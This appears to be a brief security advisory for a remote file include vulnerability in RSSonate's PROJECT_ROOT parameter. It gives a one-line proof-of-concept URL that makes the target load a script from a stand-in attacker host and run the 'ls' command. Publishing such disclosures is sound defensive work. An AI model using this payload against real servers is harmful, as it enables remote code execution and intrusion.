|
|
RSSonate Project_Root Parameter Remote File Include Vulnerability
An attacker can exploit this issue via a web client. The following proof of concept is available: http://www.example.com/getFeed/inc/session.php?PROJECT_ROOT=http://www.attacker.com/c-h.v2.txt?ls |
|
Privacy Statement |